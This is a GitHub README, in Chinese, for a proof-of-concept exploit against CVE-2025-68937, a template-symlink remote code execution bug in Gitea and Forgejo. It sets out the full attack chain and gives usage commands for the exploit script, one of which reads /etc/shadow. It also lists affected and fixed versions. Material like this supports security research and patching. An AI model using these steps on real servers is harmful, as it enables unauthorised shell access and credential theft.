Scratchappy/CVE-2025-68937
GitHub: Scratchappy/CVE-2025-68937
针对 Gitea/Forgejo 模板符号链接 RCE 漏洞(CVE-2025-68937)的自动化概念验证利用工具。
Stars: 0 | Forks: 0
# CVE-2025-68937 - Gitea/Forgejo 模板软链接 RCE
针对 **CVE-2025-68937** 的自动化概念验证:Gitea 和 Forgejo 在处理模板仓库时,因解引用软链接导致目录遍历,最终引发远程代码执行。
**任何经过身份验证的用户**(无需管理员权限)都可以获取 `git` 服务用户的 shell。
## 漏洞详情
从模板生成新仓库时,Gitea/Forgejo 会复制模板文件,并对 `.gitea/template` 中列出的文件展开类似 `${REPO_DESCRIPTION}` 的变量。此过程在**未经验证的情况下跟踪符号链接**,允许攻击者读取和写入服务器上的任意文件。
| 详情 | 值 |
|--------|-------|
| **CVE** | [CVE-2025-68937](https://nvd.nist.gov/vuln/detail/CVE-2025-68937) |
| **CVSS 4.0** | 9.5 严重 |
| **CWE** | CWE-61 (UNIX 符号链接跟进) |
| **需要身份验证** | 是(任意用户) |
| **需要管理员权限** | 否 |
### 受影响版本
| 软件 | 受影响版本 | 已修复版本 |
|----------|----------|-------|
| Gitea | >= 1.11.0-rc1, <= 1.24.6 | 1.24.7 |
| Forgejo | <= 11.0.6 | 11.0.7 |
| Forgejo | >= 12.0.0, <= 13.0.1 | 13.0.2 |
## 工作原理
```
Gitea Server
+---------------------+
1. Register SSH | authorized_keys: |
key with | command="gitea |
${REPO_DESC} | serv..." ssh-ed... |
as comment | ${REPO_DESCRIPTION}|
+---------------------+
|
2. Template repo | symlink
authorized_keys --------->+ follows
-> /data/git/.ssh/ |
authorized_keys |
v
3. Create child +---------------------+
repo with | authorized_keys: |
attacker key | command="gitea |
in description | serv..." ssh-ed... |
| | <-- injected!
+---------------------+
|
4. SSH as git $ ssh -i key git@host
(unrestricted) uid=0(git) ...
```
1. **注册一个恶意的 SSH key** 到 Gitea —— key 的注释中包含 `${REPO_DESCRIPTION}`,这是一个会被 Gitea 展开的模板变量
2. **创建一个模板仓库**,包含以下内容:
- `.gitea/template`,其中列出了 `authorized_keys` 以便进行变量展开
- 一个 git 符号链接 `authorized_keys`,指向 git 用户的真实 `authorized_keys` 文件
3. **从模板生成子仓库**,在描述字段中填入攻击者不受限制的 SSH 公钥
4. **模板展开过程会跟踪符号链接**,读取真实的 `authorized_keys` 文件(其中包含我们注册的、注释中带有 `${REPO_DESCRIPTION}` 的 key),将变量展开为子仓库的描述(即我们的 SSH key),并**通过符号链接将结果写回**
5. **使用注入的 key 通过 SSH 登录 `git` 用户**(没有 `command=` 限制)
## 用法
```
pip install requests
```
```
# 针对 Docker Gitea (git 主目录默认为 /data/git)
python3 exploit.py -u http://localhost:3000 -U myuser -P mypassword --ssh-port 2222
# 针对 package/binary 安装 (git 主目录为 /home/git)
python3 exploit.py -u http://gitea.example.com:3000 -U user -P pass --git-home /home/git
# 获取 shell 后执行命令
python3 exploit.py -u http://target:3000 -U user -P pass --command "cat /etc/shadow"
# 清理 (移除 repos 和注入的 SSH keys)
python3 exploit.py -u http://target:3000 -U user -P pass --cleanup
```
### 选项
| 标志 | 默认值 | 描述 |
|------|---------|-------------|
| `-u, --url` | *必填* | Gitea/Forgejo 的基础 URL |
| `-U, --user` | *必填* | 用户名 |
| `-P, --password` | *必填* | 密码 |
| `--git-home` | `/data/git` | 目标机器上 git 用户的主目录 |
| `--ssh-host` | 取自 `--url` | 要连接的 SSH 主机 |
| `--ssh-port` | `22` | Gitea 的 SSH 端口 |
| `--timeout` | `30` | 等待 SSH 的超时秒数 |
| `--command` | 交互式 | 获取 shell 后执行的命令 |
| `--cleanup` | - | 移除利用工具生成的痕迹 |
## 测试环境
启动一个包含漏洞的实例:
```
docker run -d --name gitea-vuln \
-p 3000:3000 -p 2222:22 \
-e USER_UID=1000 -e USER_GID=1000 \
gitea/gitea:1.24.6
```
1. 打开 `http://localhost:3000`,完成安装向导(使用 SQLite 即可)
2. 注册一个用户账号
3. 运行:
```
python3 exploit.py -u http://localhost:3000 -U youruser -P yourpass --ssh-port 2222
```
## 依赖要求
- Python 3.8+
- `requests`
- PATH 中存在 `git` 和 `ssh-keygen`
## 修复方案
- **Gitea**:升级至 1.24.7 或更高版本
- **Forgejo**:升级至 11.0.7 (LTS) 或 13.0.2+
## 参考资料
- [NVD: CVE-2025-68937](https://nvd.nist.gov/vuln/detail/CVE-2025-68937)
- [GitHub 安全公告: GHSA-7mhf-6fhv-c83c](https://github.com/advisories/GHSA-7mhf-6fhv-c83c)
- [Gitea 安全修复分析 (PR #36734 & #36746)](https://abanoubhanna.com/posts/gitea-securing-repo-templates/)
- [Gitea 1.24.7 发布说明](https://blog.gitea.com/release-of-1.24.7/)
## 免责声明
本工具仅供**授权的安全测试和教育目的使用**。请仅对您拥有或已获得明确书面测试许可的系统使用本工具。未经授权访问计算机系统是违法行为。作者对任何滥用行为不承担任何责任。
标签:CISA项目, Forgejo, Gitea, PoC, RCE, 内存分配, 暴力破解, 网络安全研究, 请求拦截, 逆向工具